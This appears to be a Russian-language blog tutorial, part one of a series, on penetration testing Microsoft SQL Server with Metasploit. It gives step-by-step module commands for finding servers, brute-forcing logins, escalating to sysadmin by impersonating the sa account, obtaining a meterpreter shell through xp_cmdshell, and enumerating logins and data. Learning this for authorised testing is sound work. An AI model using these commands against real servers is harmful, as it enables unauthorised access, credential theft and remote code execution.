Тестирование на проникновение MSSQL с помощью Metasploit. Часть 1

Spread the love

#Обучение

В этой статье пойдет речь о пентестинге MSSQL с помощью программы Metasploit. Читатели ближе познакомятся с характерными чертами и возможностями инструмента.

Введение

Metasploit – это отличный фреймворк, разработанный H.D. Moore. Он представляет собой бесплатный инструмент для тестирования на проникновение. Программа является кроссплатформенной и имеет открытый исходный код, а также обладает целым рядом полезных функций. Она стала очень популярной, потому что профессионалы считают ее мощным инструментом для проведения аудита безопасности. Так оно и есть: у Metasploit множество функций, которые помогут пользователям защитить себя. Стоит отметить, что инструмент может инкапсулировать эксплойт, который обязательно понадобится пентестеру.

Далее читатели узнают, как можно использовать Metasploit для тестирования и проведения эксплойта MSSQL. Будет рассмотрен каждый эксплойт, который Metasploit может предложить, шаг за шагом, от поиска сервера MSSQL в сети до извлечения конфиденциальной информации из базы данных и получения полного контроля. Не стоит больше говорить – самое время перейти к сути.

Поиск сервера

При тестировании серверов MSSQL, будь то удаленно или локально, в первую очередь нужно найти сам сервер в сети. Для этого следует использовать следующий эксплойт в Metasploit:

use auxiliary/scanner/mssql/mssql_ping
set rhosts 192.168.1.1/24
exploit

Как можно увидеть на изображении выше, эксплойт предоставит пользователю подробную информацию об активном сервере в сети.

Получение учетных данных для входа

Пользователь нашел сервер, поэтому следующий шаг – получить учетные данные. Для этого он проведет атаку с использованием словаря с помощью следующего эксплойта:

use auxiliary/scanner/mssql/mssql_login 
set rhosts 192.168.1.3
set user_file /root/users.txt
set verbose false
exploit

Получение привилегий (системный администратор)

Теперь, когда у пользователя есть учетные данные, нужно проверить, какие права имеет юзер, например, является ли он системным администратором. Для дальнейшей практической части нужен пользователь с правами сисадмина. Человек будет использовать следующий эксплойт:

use auxiliary/admin/mssql/mssql_escalate_dbowner 
set rhosts 192.168.1.3 
set username lowpriv 
set password [email protected] 
exploit

Теперь понятно, что данный пользователь не имеет привилегий системного администратора. Поэтому следует попытаться выяснить, может ли он выдавать себя за любого другого пользователя, имеющего права системного администратора. Для этого необходимо применить следующий эксплойт:

use auxiliary/admin/mssql/mssql_escalate_execute_as
set rhosts 192.168.1.3
set username lowpriv
set password [email protected]
exploit

Теперь стало известно, что пользователь с низким уровнем привилегий может выдавать себя за Sa-пользователя. Пользователь Sa является системным администратором, и с помощью вышеупомянутого эксплойта любой юзер может стать им.

Если запустить предыдущий эксплойт mssql_escalate_dbowner, то пользователь увидит, что повышение привилегий не требуется из-за «изменения роли».

Эксплойт xp_cmdshell

Пользователь уже нашел сервер MSSQL в сети, получил учетные данные, выдал себя за сисадмина, чтобы иметь более высокие привилегии. Итак, теперь нужно попробовать заполучить сеанс meterpreter сервера с помощью эксплойта xp_cmdshell:

use exploit/windows/mssql/mssql_payload 
set rhosts 192.168.1.3
set username lowpriv
set password [email protected]
exploit

Эксплойт пытается помочь пользователю получить сеанс. Как только xp_cmdshell будет успешно осуществлен, человек завладеет сеансом meterpreter.

Перечисление MSSQL

Пользователь перечислит сервер и посмотрит, какую информацию он может получить, а также ознакомится с параметрами конфигурации. Для этого будет использоваться следующий эксплойт:

use auxiliary/admin/mssql/mssql_enum
set rhosts 192.168.1.3
set username lowpriv
set password [email protected]
exploit

В результате выполнения вышеописанного эксплойта пользователь смог увидеть, какие разрешения предоставлены базе данных, какие учетные записи доступны, а также некоторую другую полезную информацию.

Перечисление пользователей для входа в систему

MSSQL предоставляет различным пользователям возможность для входа на сервер. Доступ к серверу можно получить через все учетные записи пользователей Windows и учетные записи в базе данных. Благодаря Metasploit у пользователя есть эксплойт для перечисления всех их. Он выглядит следующим образом:

use auxiliary/admin/mssql/mssql_enum_sql_logins
set rhosts 192.168.1.3
set username lowpriv
set password [email protected]
exploit

И в результате человек получает нужную ему информацию со списком всех пользователей.

Выполнение запросов MSSQL

В Metasploit есть эксплойт, который поможет удаленно выполнять все запросы MSSQL. По умолчанию он запускает «[email protected]@version», но пользователь может перейти к любому желаемому запросу с помощью команды «set SQL *query*». Для развертывания указанного эксплойта нужно использовать следующий набор команд:

use auxiliary/admin/mssql/mssql_sql
set rhosts 192.168.1.3
set username lowprwiv
set password [email protected]
exploit

С помощью описанного выше эксплойта у пользователя есть подробная информация о сервере.

Продолжение следует…

Источник

Добавить комментарий

WP2Social Auto Publish Powered By : XYZScripts.com